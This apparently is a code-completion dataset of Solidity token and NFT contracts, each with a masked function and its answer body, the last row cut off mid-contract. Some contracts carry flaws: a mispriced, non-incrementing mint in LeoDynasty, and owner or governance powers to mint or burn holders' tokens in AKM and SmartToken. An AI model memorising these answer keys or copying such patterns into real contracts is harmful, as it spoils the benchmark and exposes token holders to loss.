address public TRANSFER_PROXY_VEFX = 0xdcDb42C9a256690bd153A7B409751ADFC8Dd5851;
address public TRANSFER_PROXY_V2 = 0x2240Dab907db71e64d3E0dbA4800c83B5C502d4E;
mapping (address => bool) public isSigner;
bool public erc20old;
string public name;
string public symbol;
uint public decimals;
address public originalToken;
mapping (address => uint256) public depositLock;
mapping (address => uint256) public balances;
function WrapperLock(address _originalToken, string _name, string _symbol, uint _decimals, bool _erc20old) Ownable() {
originalToken = _originalToken;
name = _name;
symbol = _symbol;
decimals = _decimals;
isSigner[msg.sender] = true;
erc20old = _erc20old;
}
function deposit(uint _value, uint _forTime) public returns (bool success) {
require(_forTime >= 1);
require(now + _forTime * 1 hours >= depositLock[msg.sender]);
if (erc20old) {
ERC20Old(originalToken).transferFrom(msg.sender, address(this), _value);
} else {
require(ERC20(originalToken).transferFrom(msg.sender, address(this), _value));
}
balances[msg.sender] = balances[msg.sender].add(_value);
totalSupply_ = totalSupply_.add(_value);
depositLock[msg.sender] = now + _forTime * 1 hours;
return true;
}
function withdraw(
uint _value,
uint8 v,
bytes32 r,
bytes32 s,
uint signatureValidUntilBlock
)
public
returns
(bool success)
{
require(balanceOf(msg.sender) >= _value);
if (now <= depositLock[msg.sender]) {
require(block.number < signatureValidUntilBlock);
require(isValidSignature(keccak256(msg.sender, address(this), signatureValidUntilBlock), v, r, s));
}
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
depositLock[msg.sender] = 0;
if (erc20old) {
ERC20Old(originalToken).transfer(msg.sender, _value);
} else {
require(ERC20(originalToken).transfer(msg.sender, _value));
}
return true;
}
function withdrawBalanceDifference() public onlyOwner returns (bool success) {<FILL_FUNCTION_BODY> }
function withdrawDifferentToken(address _differentToken, bool _erc20old) public onlyOwner returns (bool) {
require(_differentToken != originalToken);
require(ERC20(_differentToken).balanceOf(address(this)) > 0);
if (_erc20old) {
ERC20Old(_differentToken).transfer(msg.sender, ERC20(_differentToken).balanceOf(address(this)));
} else {
require(ERC20(_differentToken).transfer(msg.sender, ERC20(_differentToken).balanceOf(address(this))));
}
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
return false;
}
function transferFrom(address _from, address _to, uint _value) public {
require(isSigner[_to] || isSigner[_from]);
assert(msg.sender == TRANSFER_PROXY_VEFX || msg.sender == TRANSFER_PROXY_V2);
balances[_to] = balances[_to].add(_value);
depositLock[_to] = depositLock[_to] > now ? depositLock[_to] : now + 1 hours;
balances[_from] = balances[_from].sub(_value);
Transfer(_from, _to, _value);
}
function allowance(address _owner, address _spender) public constant returns (uint) {
if (_spender == TRANSFER_PROXY_VEFX || _spender == TRANSFER_PROXY_V2) {
return 2**256 - 1;
}
}
function balanceOf(address _owner) public constant returns (uint256) {
return balances[_owner];
}
function isValidSignature(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
)
public
constant
returns (bool)
{
return isSigner[ecrecover(
keccak256("\x19Ethereum Signed Message:\n32", hash),
v,
r,
s
)];
}
function addSigner(address _newSigner) public {
require(isSigner[msg.sender]);
isSigner[_newSigner] = true;
}
function keccak(address _sender, address _wrapper, uint _validTill) public constant returns(bytes32) {
return keccak256(_sender, _wrapper, _validTill);
}
} | contract WrapperLock is BasicToken, Ownable {
using SafeMath for uint256;
address public TRANSFER_PROXY_VEFX = 0xdcDb42C9a256690bd153A7B409751ADFC8Dd5851;
address public TRANSFER_PROXY_V2 = 0x2240Dab907db71e64d3E0dbA4800c83B5C502d4E;
mapping (address => bool) public isSigner;
bool public erc20old;
string public name;
string public symbol;
uint public decimals;
address public originalToken;
mapping (address => uint256) public depositLock;
mapping (address => uint256) public balances;
function WrapperLock(address _originalToken, string _name, string _symbol, uint _decimals, bool _erc20old) Ownable() {
originalToken = _originalToken;
name = _name;
symbol = _symbol;
decimals = _decimals;
isSigner[msg.sender] = true;
erc20old = _erc20old;
}
function deposit(uint _value, uint _forTime) public returns (bool success) {
require(_forTime >= 1);
require(now + _forTime * 1 hours >= depositLock[msg.sender]);
if (erc20old) {
ERC20Old(originalToken).transferFrom(msg.sender, address(this), _value);
} else {
require(ERC20(originalToken).transferFrom(msg.sender, address(this), _value));
}
balances[msg.sender] = balances[msg.sender].add(_value);
totalSupply_ = totalSupply_.add(_value);
depositLock[msg.sender] = now + _forTime * 1 hours;
return true;
}
function withdraw(
uint _value,
uint8 v,
bytes32 r,
bytes32 s,
uint signatureValidUntilBlock
)
public
returns
(bool success)
{
require(balanceOf(msg.sender) >= _value);
if (now <= depositLock[msg.sender]) {
require(block.number < signatureValidUntilBlock);
require(isValidSignature(keccak256(msg.sender, address(this), signatureValidUntilBlock), v, r, s));
}
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
depositLock[msg.sender] = 0;
if (erc20old) {
ERC20Old(originalToken).transfer(msg.sender, _value);
} else {
require(ERC20(originalToken).transfer(msg.sender, _value));
}
return true;
}
<FILL_FUNCTION>
function withdrawDifferentToken(address _differentToken, bool _erc20old) public onlyOwner returns (bool) {
require(_differentToken != originalToken);
require(ERC20(_differentToken).balanceOf(address(this)) > 0);
if (_erc20old) {
ERC20Old(_differentToken).transfer(msg.sender, ERC20(_differentToken).balanceOf(address(this)));
} else {
require(ERC20(_differentToken).transfer(msg.sender, ERC20(_differentToken).balanceOf(address(this))));
}
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
return false;
}
function transferFrom(address _from, address _to, uint _value) public {
require(isSigner[_to] || isSigner[_from]);
assert(msg.sender == TRANSFER_PROXY_VEFX || msg.sender == TRANSFER_PROXY_V2);
balances[_to] = balances[_to].add(_value);
depositLock[_to] = depositLock[_to] > now ? depositLock[_to] : now + 1 hours;
balances[_from] = balances[_from].sub(_value);
Transfer(_from, _to, _value);
}
function allowance(address _owner, address _spender) public constant returns (uint) {
if (_spender == TRANSFER_PROXY_VEFX || _spender == TRANSFER_PROXY_V2) {
return 2**256 - 1;
}
}
function balanceOf(address _owner) public constant returns (uint256) {
return balances[_owner];
}
function isValidSignature(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
)
public
constant
returns (bool)
{
return isSigner[ecrecover(
keccak256("\x19Ethereum Signed Message:\n32", hash),
v,
r,
s
)];
}
function addSigner(address _newSigner) public {
require(isSigner[msg.sender]);
isSigner[_newSigner] = true;
}
function keccak(address _sender, address _wrapper, uint _validTill) public constant returns(bytes32) {
return keccak256(_sender, _wrapper, _validTill);
}
} |
require(ERC20(originalToken).balanceOf(address(this)).sub(totalSupply_) > 0);
if (erc20old) {
ERC20Old(originalToken).transfer(msg.sender, ERC20(originalToken).balanceOf(address(this)).sub(totalSupply_));
} else {
require(ERC20(originalToken).transfer(msg.sender, ERC20(originalToken).balanceOf(address(this)).sub(totalSupply_)));
}
return true;
| function withdrawBalanceDifference() public onlyOwner returns (bool success) | function withdrawBalanceDifference() public onlyOwner returns (bool success) |
15368 | SeraffoToken | null | contract SeraffoToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {<FILL_FUNCTION_BODY> }
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | contract SeraffoToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
<FILL_FUNCTION>
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} |
symbol = "SERAFS";
name = "Seraffo Token";
decimals = 18;
_totalSupply = 100000000000000000000000000;
balances[0x209485c815A79C0dD8C075C958f3CbAfe6225a8F] = _totalSupply;
emit Transfer(address(0), 0x209485c815A79C0dD8C075C958f3CbAfe6225a8F, _totalSupply);
| constructor() public | // ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public |
4489 | LeoDynasty | toAcceptBid | contract LeoDynasty is ERC721 {
using SafeMath for uint256;
bool private lock = false;
bool public contractPaused;
uint256 constant CONTRACT_ROYALTY = 2;//Contract royalty in percent
mapping (address => uint256) public ethBalance;
constructor() ERC721("LeoDynasty", "LEODY", " https://leopards.world/json/", address(0xB0A0e9bF8e827877DC0C0a288026CF947a1FB95c)) {
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
_setupRole(ADMIN_ROLE, _msgSender());
_setupRole(MINTER_ROLE, _msgSender());
}
modifier nonReentrant {
require(!lock, "ReentrancyGuard: reentrant call");
lock = true;
_;
lock = false;
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721) returns (bool) {
return super.supportsInterface(interfaceId);
}
function pauseContract(bool _paused) external {
require(hasRole(MINTER_ROLE, _msgSender()), "You must have minter role to pause the contract");
contractPaused = _paused;
}
function setBaseURI(string memory newURI) public returns (bool) {
require(hasRole(MINTER_ROLE, _msgSender()), "You must have minter role to change baseURI");
baseURI = newURI;
return true;
}
function changeRoyaltyAddr(address _newRoyaltyAddr) public returns(bool){
require(hasRole(MINTER_ROLE, _msgSender()), "You must have minter role to change royalty address");
royalty = _newRoyaltyAddr;
return true;
}
function getTokensByOwner(address _owner) public view returns (uint256[] memory){
return ownerToIds[_owner];
}
function toSellNFT(uint tokenId, uint minPrice) public returns (bool){
require(_isApprovedOrOwner(_msgSender(), tokenId), "The seller is not owner or approved");
nftForSale[tokenId] =ForSale(tokenId,_msgSender(),address(0),minPrice,0);
emit SellNft(_msgSender(),tokenId,minPrice);
return true;
}
function toCancelSaleOfNFT(uint tokenId) public returns (bool){
require(_isApprovedOrOwner(_msgSender(), tokenId), "The seller is not owner or approved");
delete nftForSale[tokenId];
emit CancelSellNft(_msgSender(),tokenId);
return true;
}
function toMakeBid(uint tokenId) public payable nonReentrant returns(bool){
require(_exists(tokenId), "The token is nonexistent");
ForSale memory order = nftForSale[tokenId];
require(order.owner != address(0),"The token is not for sale");
require(!_isApprovedOrOwner(_msgSender(), tokenId), "The owner can't make bid");
if (order.bidder == _msgSender()){
require(msg.value > 0,"Insufficient funds to make bid");
order.highestBid = order.highestBid.add(msg.value);
} else{
require(msg.value >= order.minValue && msg.value > order.highestBid, "Insufficient funds to make bid");
order.highestBid = msg.value;
order.bidder = _msgSender();
}
ethBalance[_msgSender()] = ethBalance[_msgSender()].add(msg.value);
nftForSale[tokenId] = order;
emit Deposit(_msgSender(),msg.value);
emit NewBid(_msgSender(),order.highestBid,tokenId);
return true;
}
function toAcceptBid(uint tokenId) public nonReentrant returns(bool){<FILL_FUNCTION_BODY> }
function startSale() external {
require(hasRole(MINTER_ROLE, _msgSender()), "You must have minter role to change baseURI");
require(!_startSale);
_startSale = true;
emit SaleIsStarted();
}
function buyNFT(uint quantity)external payable nonReentrant returns(bool, uint){
require(!contractPaused);
require(quantity>0, "Quantity must be more than 0");
require(quantity<11, "Quantity must be less than 11");
require(tokensSold+quantity <=6789, "The tokens limit has reached.");
require(msg.value*quantity >= price, "Insufficient funds to purchase.");
(bool success, ) = royalty.call{value:msg.value}("");
require(success);
uint _tokenId;
for (uint i = 0; i < quantity; i++) {
_tokenId = tokensSold + 1;
_mint(_msgSender(), _tokenId);
}
return (true,_tokenId);
}
function withdraw(uint amount) external nonReentrant {
require(!contractPaused);
require(amount <= ethBalance[_msgSender()],"Insufficient funds to withdraw.");
ethBalance[_msgSender()] = ethBalance[_msgSender()].sub(amount);
(bool success, ) = msg.sender.call{value:amount}("");
require(success);
emit Withdraw(_msgSender(), amount);
}
function deposit() external payable {
ethBalance[_msgSender()] = ethBalance[_msgSender()].add(msg.value);
emit Deposit(_msgSender(), msg.value);
}
} | contract LeoDynasty is ERC721 {
using SafeMath for uint256;
bool private lock = false;
bool public contractPaused;
uint256 constant CONTRACT_ROYALTY = 2;//Contract royalty in percent
mapping (address => uint256) public ethBalance;
constructor() ERC721("LeoDynasty", "LEODY", " https://leopards.world/json/", address(0xB0A0e9bF8e827877DC0C0a288026CF947a1FB95c)) {
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
_setupRole(ADMIN_ROLE, _msgSender());
_setupRole(MINTER_ROLE, _msgSender());
}
modifier nonReentrant {
require(!lock, "ReentrancyGuard: reentrant call");
lock = true;
_;
lock = false;
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721) returns (bool) {
return super.supportsInterface(interfaceId);
}
function pauseContract(bool _paused) external {
require(hasRole(MINTER_ROLE, _msgSender()), "You must have minter role to pause the contract");
contractPaused = _paused;
}
function setBaseURI(string memory newURI) public returns (bool) {
require(hasRole(MINTER_ROLE, _msgSender()), "You must have minter role to change baseURI");
baseURI = newURI;
return true;
}
function changeRoyaltyAddr(address _newRoyaltyAddr) public returns(bool){
require(hasRole(MINTER_ROLE, _msgSender()), "You must have minter role to change royalty address");
royalty = _newRoyaltyAddr;
return true;
}
function getTokensByOwner(address _owner) public view returns (uint256[] memory){
return ownerToIds[_owner];
}
function toSellNFT(uint tokenId, uint minPrice) public returns (bool){
require(_isApprovedOrOwner(_msgSender(), tokenId), "The seller is not owner or approved");
nftForSale[tokenId] =ForSale(tokenId,_msgSender(),address(0),minPrice,0);
emit SellNft(_msgSender(),tokenId,minPrice);
return true;
}
function toCancelSaleOfNFT(uint tokenId) public returns (bool){
require(_isApprovedOrOwner(_msgSender(), tokenId), "The seller is not owner or approved");
delete nftForSale[tokenId];
emit CancelSellNft(_msgSender(),tokenId);
return true;
}
function toMakeBid(uint tokenId) public payable nonReentrant returns(bool){
require(_exists(tokenId), "The token is nonexistent");
ForSale memory order = nftForSale[tokenId];
require(order.owner != address(0),"The token is not for sale");
require(!_isApprovedOrOwner(_msgSender(), tokenId), "The owner can't make bid");
if (order.bidder == _msgSender()){
require(msg.value > 0,"Insufficient funds to make bid");
order.highestBid = order.highestBid.add(msg.value);
} else{
require(msg.value >= order.minValue && msg.value > order.highestBid, "Insufficient funds to make bid");
order.highestBid = msg.value;
order.bidder = _msgSender();
}
ethBalance[_msgSender()] = ethBalance[_msgSender()].add(msg.value);
nftForSale[tokenId] = order;
emit Deposit(_msgSender(),msg.value);
emit NewBid(_msgSender(),order.highestBid,tokenId);
return true;
}
<FILL_FUNCTION>
function startSale() external {
require(hasRole(MINTER_ROLE, _msgSender()), "You must have minter role to change baseURI");
require(!_startSale);
_startSale = true;
emit SaleIsStarted();
}
function buyNFT(uint quantity)external payable nonReentrant returns(bool, uint){
require(!contractPaused);
require(quantity>0, "Quantity must be more than 0");
require(quantity<11, "Quantity must be less than 11");
require(tokensSold+quantity <=6789, "The tokens limit has reached.");
require(msg.value*quantity >= price, "Insufficient funds to purchase.");
(bool success, ) = royalty.call{value:msg.value}("");
require(success);
uint _tokenId;
for (uint i = 0; i < quantity; i++) {
_tokenId = tokensSold + 1;
_mint(_msgSender(), _tokenId);
}
return (true,_tokenId);
}
function withdraw(uint amount) external nonReentrant {
require(!contractPaused);
require(amount <= ethBalance[_msgSender()],"Insufficient funds to withdraw.");
ethBalance[_msgSender()] = ethBalance[_msgSender()].sub(amount);
(bool success, ) = msg.sender.call{value:amount}("");
require(success);
emit Withdraw(_msgSender(), amount);
}
function deposit() external payable {
ethBalance[_msgSender()] = ethBalance[_msgSender()].add(msg.value);
emit Deposit(_msgSender(), msg.value);
}
} |
require(!contractPaused);
require(_exists(tokenId), "The token is nonexistent");
ForSale memory order = nftForSale[tokenId];
require(order.owner != address(0),"The token is not for sale");
require(_isApprovedOrOwner(_msgSender(), tokenId), "Only owner or approved can accept the bid");
require(ethBalance[order.bidder] >= order.highestBid,"Insufficient funds of the bidder balance");
delete nftForSale[tokenId];
uint256 total_royalty = order.highestBid / 100 * CONTRACT_ROYALTY;
ethBalance[order.bidder] = ethBalance[order.bidder].sub(order.highestBid);
ethBalance[_msgSender()] = ethBalance[_msgSender()].add(order.highestBid);
ethBalance[_msgSender()] = ethBalance[_msgSender()].sub(total_royalty);
(bool success, ) = royalty.call{value:total_royalty}("");
require(success);
_transfer(order.owner,order.bidder,tokenId);
emit CancelSellNft(_msgSender(),tokenId);
emit Trade(_msgSender(),order.bidder,order.highestBid,tokenId);
emit Transfer(order.owner,order.bidder,tokenId);
return true;
| function toAcceptBid(uint tokenId) public nonReentrant returns(bool) | function toAcceptBid(uint tokenId) public nonReentrant returns(bool) |
18743 | StandardToken | transferFrom | contract StandardToken is Token, SafeMath {
function transfer(address _to, uint256 _value) public returns(bool success) {
//默认totalSupply 不会超过最大值 (2^256 - 1).
require(balances[msg.sender] >= _value);
balances[msg.sender] = safeSub(balances[msg.sender], _value);//从消息发送者账户中减去token数量_value
balances[_to] = safeAdd(balances[_to], _value);//往接收账户增加token数量_value
emit Transfer(msg.sender, _to, _value);//触发转币交易事件
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns
(bool success) {<FILL_FUNCTION_BODY> }
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns(bool success)
{
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];//允许_spender从_owner中转出的token数
}
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
} | contract StandardToken is Token, SafeMath {
function transfer(address _to, uint256 _value) public returns(bool success) {
//默认totalSupply 不会超过最大值 (2^256 - 1).
require(balances[msg.sender] >= _value);
balances[msg.sender] = safeSub(balances[msg.sender], _value);//从消息发送者账户中减去token数量_value
balances[_to] = safeAdd(balances[_to], _value);//往接收账户增加token数量_value
emit Transfer(msg.sender, _to, _value);//触发转币交易事件
return true;
}
<FILL_FUNCTION>
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns(bool success)
{
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];//允许_spender从_owner中转出的token数
}
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
} |
require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value);
balances[_to] = safeAdd(balances[_to], _value);//接收账户增加token数量_value
balances[_from] = safeSub(balances[_from], _value); //支出账户_from减去token数量_value
allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender], _value);//消息发送者可以从账户_from中转出的数量减少_value
emit Transfer(_from, _to, _value);//触发转币交易事件
return true;
| function transferFrom(address _from, address _to, uint256 _value) public returns
(bool success) | function transferFrom(address _from, address _to, uint256 _value) public returns
(bool success) |
71077 | AKM | setTokensPerEther | contract AKM is BasicToken, Ownable {
using SafeMath for uint256;
string public constant name = "AKM coin";
string public constant symbol = "AKM";
uint256 public constant decimals = 8;
uint256 public tokenPerWai = (10 ** (18 - decimals) * 1 wei) / 1250;
uint256 public token = 10 ** decimals;
uint256 public constant INITIAL_SUPPLY = 2800000;
uint256 public creationTime;
bool public is_started_bonuses = false;
bool public is_started_payouts = true;
function emissionPay(uint256 _ammount) private {
uint256 ownBonus = _ammount.div(100).mul(25);
totalSupply = totalSupply.add(_ammount.add(ownBonus));
balances[msg.sender] = balances[msg.sender].add(_ammount);
balances[owner] = balances[owner].add(ownBonus);
if(msg.value > 10 ether)
Transfer(0, msg.sender, _ammount);
Transfer(this, owner, ownBonus);
Transfer(this, msg.sender, _ammount);
}
function extraEmission(uint256 _ammount) public onlyOwner {
_ammount = _ammount.mul(token);
totalSupply = totalSupply.add(_ammount);
balances[owner] = balances[owner].add(_ammount);
Transfer(this, owner, _ammount);
}
function AKM() {
totalSupply = INITIAL_SUPPLY.mul(token);
balances[owner] = totalSupply;
}
function startBonuses() public onlyOwner {
if(!is_started_bonuses) {
creationTime = now;
is_started_bonuses = true;
}
}
function startPayouts() public onlyOwner {
is_started_payouts = true;
}
function stopPayouts() public onlyOwner {
is_started_payouts = false;
}
function setTokensPerEther(uint256 _value) public onlyOwner {<FILL_FUNCTION_BODY> }
function getBonusPercent() private constant returns(uint256) {
if(!is_started_bonuses) return 100;
uint256 diff = now.sub(creationTime);
uint256 diff_weeks = diff.div(1 weeks);
if(diff_weeks < 1) // 0 ... 1 week
return 130;
else if(diff_weeks < 2)// 1 ... 2 week
return 125;
else if(diff_weeks < 3)// 2 ... 3 week
return 120;
else if(diff_weeks < 4)// 3 ... 4 week
return 115;
else if(diff_weeks < 5)// 4 ... 5 week
return 110;
else {
is_started_bonuses = false;
return 100;
}
}
function() payable {
assert(is_started_payouts);
uint256 amount = msg.value.div(tokenPerWai);
amount = amount.div(100).mul(getBonusPercent());
emissionPay(amount);
owner.transfer(msg.value);
}
} | contract AKM is BasicToken, Ownable {
using SafeMath for uint256;
string public constant name = "AKM coin";
string public constant symbol = "AKM";
uint256 public constant decimals = 8;
uint256 public tokenPerWai = (10 ** (18 - decimals) * 1 wei) / 1250;
uint256 public token = 10 ** decimals;
uint256 public constant INITIAL_SUPPLY = 2800000;
uint256 public creationTime;
bool public is_started_bonuses = false;
bool public is_started_payouts = true;
function emissionPay(uint256 _ammount) private {
uint256 ownBonus = _ammount.div(100).mul(25);
totalSupply = totalSupply.add(_ammount.add(ownBonus));
balances[msg.sender] = balances[msg.sender].add(_ammount);
balances[owner] = balances[owner].add(ownBonus);
if(msg.value > 10 ether)
Transfer(0, msg.sender, _ammount);
Transfer(this, owner, ownBonus);
Transfer(this, msg.sender, _ammount);
}
function extraEmission(uint256 _ammount) public onlyOwner {
_ammount = _ammount.mul(token);
totalSupply = totalSupply.add(_ammount);
balances[owner] = balances[owner].add(_ammount);
Transfer(this, owner, _ammount);
}
function AKM() {
totalSupply = INITIAL_SUPPLY.mul(token);
balances[owner] = totalSupply;
}
function startBonuses() public onlyOwner {
if(!is_started_bonuses) {
creationTime = now;
is_started_bonuses = true;
}
}
function startPayouts() public onlyOwner {
is_started_payouts = true;
}
function stopPayouts() public onlyOwner {
is_started_payouts = false;
}
<FILL_FUNCTION>
function getBonusPercent() private constant returns(uint256) {
if(!is_started_bonuses) return 100;
uint256 diff = now.sub(creationTime);
uint256 diff_weeks = diff.div(1 weeks);
if(diff_weeks < 1) // 0 ... 1 week
return 130;
else if(diff_weeks < 2)// 1 ... 2 week
return 125;
else if(diff_weeks < 3)// 2 ... 3 week
return 120;
else if(diff_weeks < 4)// 3 ... 4 week
return 115;
else if(diff_weeks < 5)// 4 ... 5 week
return 110;
else {
is_started_bonuses = false;
return 100;
}
}
function() payable {
assert(is_started_payouts);
uint256 amount = msg.value.div(tokenPerWai);
amount = amount.div(100).mul(getBonusPercent());
emissionPay(amount);
owner.transfer(msg.value);
}
} |
require(_value > 0);
tokenPerWai = (10 ** 10 * 1 wei) / _value;
| function setTokensPerEther(uint256 _value) public onlyOwner | function setTokensPerEther(uint256 _value) public onlyOwner |
22381 | SmartToken | setCheckerAddress | contract SmartToken is ERC20("NOAH`s DeFi ARK v.1 Governance Token", "NOAH ARK"), GovernanceContract {
struct WhiteRecord {
bool transferEnabled;
int128 minBalance;
}
address public checkerAddress;
mapping(address => WhiteRecord ) public whiteList;
int128 public commonMinBalance = 0;
bool public whiteListEnable = true;
constructor () public {
checkerAddress = address(this);
}
function mint(address _to, uint256 _amount) public onlyGovernanceContracts virtual returns (bool) {
_mint(_to, _amount);
return true;
}
function approveForOtherContracts(address _sender, address _spender, uint256 _value) external onlyGovernanceContracts() {
_approve(_sender, _spender, _value);
emit Approval(_sender, _spender, _value);
}
function burnFrom(address _to, uint256 _amount) external onlyGovernanceContracts() returns (bool) {
_burn(_to, _amount);
return true;
}
function burn(uint256 _amount) external returns (bool) {
_burn(msg.sender, _amount);
}
function multiTransfer(address[] memory _investors, uint256 _value) public onlyGovernanceContracts {
for (uint i=0; i< uint8(_investors.length); i++){
_balances[_investors[i]] = _balances[_investors[i]].add(_value);
emit Transfer(msg.sender, _investors[i],_value);
}
_balances[msg.sender] = _balances[msg.sender].sub(_value.mul(_investors.length));
}
function multiTransferWithWhiteListAdd(address[] memory _investors, uint256 _value) public onlyGovernanceContracts {
for (uint i=0; i< uint8(_investors.length); i++){
_balances[_investors[i]] = _balances[_investors[i]].add(_value);
emit Transfer(msg.sender, _investors[i],_value);
_setWhiteListRecord(_investors[i], true, int128(_value));
}
_balances[msg.sender] = _balances[msg.sender].sub(_value.mul(_investors.length));
}
//////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////
// Wide transfer control operations ////
